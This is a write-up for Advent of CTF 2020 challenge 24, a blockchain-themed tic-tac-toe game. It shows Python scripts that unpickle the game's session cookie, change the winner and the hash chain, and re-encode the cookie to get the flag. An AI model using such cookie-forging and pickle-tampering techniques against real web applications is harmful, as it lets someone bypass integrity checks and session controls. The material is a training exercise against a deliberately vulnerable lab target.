Write-Up Advent of CTF 2020 Challenge 24
Overview
The NOVI University Of Applied Sciences is offering an Advent CTF challenge for December 2020.
The CTF is created by our community member of the Hackdewereld.nl and Chief Lecturer for Cyber Security at the NOVI University, Arjen Wiersma. If you want to participate in these CTF challenges, you can create an account on the website https://www.adventofctf.com
.
Challenge 24
- Description: The final battle! The elves want revenge for their lost game! They have enhanced the tic-tac-toe game with blockchain technology. Cyber Security on the Blockchain will revolutionize everything, but most importantly ensure they will win this time. No cheating Santa!
- 2400 Points
Author Notes
When working on this challenge, I noticed that various CTF players are getting the flag very fast. After asking them how they could retrieve the flag so quickly; the responded that they have find a unintended way. After trying some around, I found the unintended way and I’ve solved this challenge. But, there is also an intended way. I share both solutions in this write-up.
This is the final challenge of Advent of CTF 2020! It’s again a tic-tac-toe game, like Challenge 20 only with added security enhances based on the Blockchain principle. Let’s check this out! We visit the challenge URL https://24.adventofctf.com
, and we are landing on this webpage.
Challenge 20 relies on a serialization vulnerability, which is stored in the cookie. So, we can immediately check the cookie for more information. This cookie with the name game
is stored in our internet browser.
gAN9cQAoWAUAAABib2FyZHEBXXECKF1xAyhYAQAAAE9xBGgETmVdcQUoaARYAQAAAFhxBmgGZV1xByhOaAZoBmVlWAQAAAB0dXJucQhoBFgIAAAAZmluaXNoZWRxCYlYBgAAAHdpbm5lcnEKTlgEAAAAc2FuZXELiFgKAAAAYmxvY2tjaGFpbnEMiFgFAAAAY2hhaW5xDV1xDih9cQ8oaAFdcRAoXXERKE5OTmVdcRIoTk5OZV1xEyhOTmgGZWVYBAAAAHByZXZxFFggAAAAY2VmMjE1YzViZThjZjYzZmNmM2Q0M2VjZjI1MTBiMzNxFVgEAAAAaGFzaHEWWCAAAABlN2RjOGUxZjdhNjc4OGJjMGNiNjg0MTUzOGIyMTZlOHEXdX1xGChoAV1xGShdcRooaAROTmVdcRsoTk5OZV1xHChOTmgGZWVoFGgXaBZYIAAAAGZjOTMyMzZiNWVlYTVmMWQ1NWUyYjViMzA4ZDY3MzkwcR11fXEeKGgBXXEfKF1xIChoBE5OZV1xIShOaAZOZV1xIihOTmgGZWVoFGgdaBZYIAAAAGE4ZGMwZDNkYTI5MGQxZTg5NGVhYWZmY2I5ODM5OGM5cSN1fXEkKGgBXXElKF1xJihoBGgETmVdcScoTmgGTmVdcSgoTk5oBmVlaBRoI2gWWCAAAABlNzRmNWIyMmY1MjEzYmE0YzI0NDk3NTljZTkxYzJhYXEpdX1xKihoAV1xKyhdcSwoaARoBE5lXXEtKE5oBmgGZV1xLihOTmgGZWVoFGgpaBZYIAAAAGVmMjU1MTRkZmZiZjgyNDdjZmY2MDYzYmU5MGYyZDU0cS91fXEwKGgBXXExKF1xMihoBGgETmVdcTMoaARoBmgGZV1xNChOTmgGZWVoFGgvaBZYIAAAAGUzYTRjMDM3YmRmMTU0YjM0NGVkOWJkMTY0M2E2MjlkcTV1fXE2KGgBXXE3KF1xOChoBGgETmVdcTkoaARoBmgGZV1xOihOaAZoBmVlaBRoNWgWWCAAAABjMjQwZmExNjE3MzdjOTY3ZWNlNWZkOTQ2NzJhYjBmOHE7dWV1Lg==
It’s a Base64 encoded cookie. After decoding the cookie, we find the information which is stored in the cookie.
1
2
3
4
..}q.(X….boardq.]q.(]q.(X….Oq.h.Ne]q.(h.X….Xq.h.e]q.(Nh.h.eeX….turnq.h.X….finishedq.X….winnerq
NX….saneq..X
…blockchainq..X….chainq
]q.(}q.(h.]q.(]q.(NNNe]q.(NNNe]q.(NNh.eeX….prevq.X …cef215c5be8cf63fcf3d43ecf2510b33q.X….hashq.X …e7dc8e1f7a6788bc0cb6841538b216e8q.u}q.(h.]q.(]q.(h.NNe]q.(NNNe]q.(NNh.eeh.h.h.X …fc93236b5eea5f1d55e2b5b308d67390q.u}q.(h.]q.(]q (h.NNe]q!(Nh.Ne]q"(NNh.eeh.h.h.X …a8dc0d3da290d1e894eaaffcb98398c9q#u}q$(h.]q%(]q&(h.h.Ne]q'(Nh.Ne]q((NNh.eeh.h#h.X …e74f5b22f5213ba4c2449759ce91c2aaq)u}q*(h.]q+(]q,(h.h.Ne]q-(Nh.h.e]q.(NNh.eeh.h)h.X …ef25514dffbf8247cff6063be90f2d54q/u}q0(h.]q1(]q2(h.h.Ne]q3(h.h.h.e]q4(NNh.eeh.h/h.X …e3a4c037bdf154b344ed9bd1643a629dq5u}q6(h.]q7(]q8(h.h.Ne]q9(h.h.h.e]q:(Nh.h.eeh.h5h.X …c240fa161737c967ece5fd94672ab0f8q;ueu.
We can use Pickle
to deserialize the information. But first, from the source code of the webpage, we can find this Python script. This script is showing the calculation of the blocks, used by Blockchain technology.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def hash_string(string):
return hashlib.md5(string.encode('utf-8')).hexdigest()
def hash_row(row):
conv = lambda i : i or ' '
res = [conv(i) for i in row]
return hash_string(' '.join(res))
def hash_board(board):
acc = ""
for row in board:
acc += hash_row(row)
return acc
def verify_chain(game):
board=game["board"]
chain = game["chain"]
if len(chain) > 0:
if board != chain[-1]["board"]:
return False
for i in range(len(chain)):
block=chain[i]
h = hash_board(block["board"])
h = hash_string(h + block["prev"])
if h != block["hash"]:
return False
return True
Unintended Solution
After the deserialization of the cookie, we have only to change the winner
to X
and set the value blockchain
to False
. In this scenario, the chain will not be checked and we can dump this data with Pickle and encode it with Base64 encoding, and after applying this cookie in our internet browser, we get the flag presented.
1
2
3
4
5
6
import pickle
import base64
data = {'board': [['O', 'O', None], ['O', 'X', 'X'], [None, 'X', 'X']], 'turn': 'O', 'finished': True, 'winner': 'X', 'sane': True, 'blockchain': False, 'chain': [{'board': [[None, None, None], [None, None, None], [None, None, 'X']], 'prev': 'cef215c5be8cf63fcf3d43ecf2510b33', 'hash': 'e7dc8e1f7a6788bc0cb6841538b216e8'}, {'board': [['O', None, None], [None, None, None], [None, None, 'X']], 'prev': 'e7dc8e1f7a6788bc0cb6841538b216e8', 'hash': 'fc93236b5eea5f1d55e2b5b308d67390'}, {'board': [['O', None, None], [None, 'X', None], [None, None, 'X']], 'prev': 'fc93236b5eea5f1d55e2b5b308d67390', 'hash': 'a8dc0d3da290d1e894eaaffcb98398c9'}, {'board': [['O', 'O', None], [None, 'X', None], [None, None, 'X']], 'prev': 'a8dc0d3da290d1e894eaaffcb98398c9', 'hash': 'e74f5b22f5213ba4c2449759ce91c2aa'}, {'board': [['O', 'O', None], [None, 'X', 'X'], [None, None, 'X']], 'prev': 'e74f5b22f5213ba4c2449759ce91c2aa', 'hash': 'ef25514dffbf8247cff6063be90f2d54'}, {'board': [['O', 'O', None], ['O', 'X', 'X'], [None, None, 'X']], 'prev': 'ef25514dffbf8247cff6063be90f2d54', 'hash': 'e3a4c037bdf154b344ed9bd1643a629d'}, {'board': [['O', 'O', None], ['O', 'X', 'X'], [None, 'X', 'X']], 'prev': 'e3a4c037bdf154b344ed9bd1643a629d', 'hash': 'c240fa161737c967ece5fd94672ab0f8'}]}
print(base64.b64encode(pickle.dumps(data)).decode('utf-8'))
Solution
This is the intended solution and it’s much more difficult than the unintended solution. To solve this game and letter Santa win, we have only to replace the last board with the winning one. After some time of scripting, I came with this script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import pickle
import base64
import hashlib
def hash_string(string):
return hashlib.md5(string.encode('utf-8')).hexdigest()
def hash_row(row):
def conv(i): return i or ' '
res = [conv(i) for i in row]
return hash_string(' '.join(res))
def hash_board(board):
acc = ""
for row in board:
acc += hash_row(row)
return acc
def verify_chain(game):
board = game["board"]
chain = game["chain"]
if len(chain) > 0:
if board != chain[-1]["board"]:
return False
for i in range(len(chain)):
block = chain[i]
h = hash_board(block["board"])
h = hash_string(h + block["prev"])
if h != block["hash"]:
return False
return True
Load current cookie and unpickle it
1
2
game = "gAN9cQAoWAUAAABib2FyZHEBXXECKF1xAyhYAQAAAE9xBGgETmVdcQUoaARYAQAAAFhxBmgGZV1xByhOaAZoBmVlWAQAAAB0dXJucQhoBFgIAAAAZmluaXNoZWRxCYlYBgAAAHdpbm5lcnEKWAAAAABxC1gEAAAAc2FuZXEMiFgKAAAAYmxvY2tjaGFpbnENiFgFAAAAY2hhaW5xDl1xDyh9cRAoaAFdcREoXXESKE5OTmVdcRMoTk5OZV1xFChOTmgGZWVYBAAAAHByZXZxFVggAAAAY2VmMjE1YzViZThjZjYzZmNmM2Q0M2VjZjI1MTBiMzNxFlgEAAAAaGFzaHEXWCAAAABlN2RjOGUxZjdhNjc4OGJjMGNiNjg0MTUzOGIyMTZlOHEYdX1xGShoAV1xGihdcRsoaAROTmVdcRwoTk5OZV1xHShOTmgGZWVoFWgYaBdYIAAAAGZjOTMyMzZiNWVlYTVmMWQ1NWUyYjViMzA4ZDY3MzkwcR51fXEfKGgBXXEgKF1xIShoBE5OZV1xIihOaAZOZV1xIyhOTmgGZWVoFWgeaBdYIAAAAGE4ZGMwZDNkYTI5MGQxZTg5NGVhYWZmY2I5ODM5OGM5cSR1fXElKGgBXXEmKF1xJyhoBGgETmVdcSgoTmgGTmVdcSkoTk5oBmVlaBVoJGgXWCAAAABlNzRmNWIyMmY1MjEzYmE0YzI0NDk3NTljZTkxYzJhYXEqdX1xKyhoAV1xLChdcS0oaARoBE5lXXEuKE5oBmgGZV1xLyhOTmgGZWVoFWgqaBdYIAAAAGVmMjU1MTRkZmZiZjgyNDdjZmY2MDYzYmU5MGYyZDU0cTB1fXExKGgBXXEyKF1xMyhoBGgETmVdcTQoaARoBmgGZV1xNShOTmgGZWVoFWgwaBdYIAAAAGUzYTRjMDM3YmRmMTU0YjM0NGVkOWJkMTY0M2E2MjlkcTZ1fXE3KGgBXXE4KF1xOShoBGgETmVdcTooaARoBmgGZV1xOyhOaAZoBmVlaBVoNmgXWCAAAABjMjQwZmExNjE3MzdjOTY3ZWNlNWZkOTQ2NzJhYjBmOHE8dWV1Lg=="
game = pickle.loads(base64.b64decode(game))
Configuring the winning payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
payload_board = game['board'] = [['O', 'O', 'X'],
['O', 'None', 'X'], ['None', 'X', 'X']]
game['finished'] = True
game['winner'] = 'X'
# Replace last chain with winning playload
game['chain'][-1]['board'] = payload_board
# Configure the blocks
calc = hash_board(game['chain'][-1]["board"])
calc = hash_string(calc + game['chain'][-1]["prev"])
game['chain'][-1]['hash'] = calc
print( base64.b64encode(pickle.dumps(game)
After running this script, the result is showing a new encoded base64 cookie. After replacing the current cookie in the internet browser with the new one, Santa is the winner and the flag is presented on the screen. The flag: NOVI{blockchain_cyb3r_security}
.
Thanks for reading!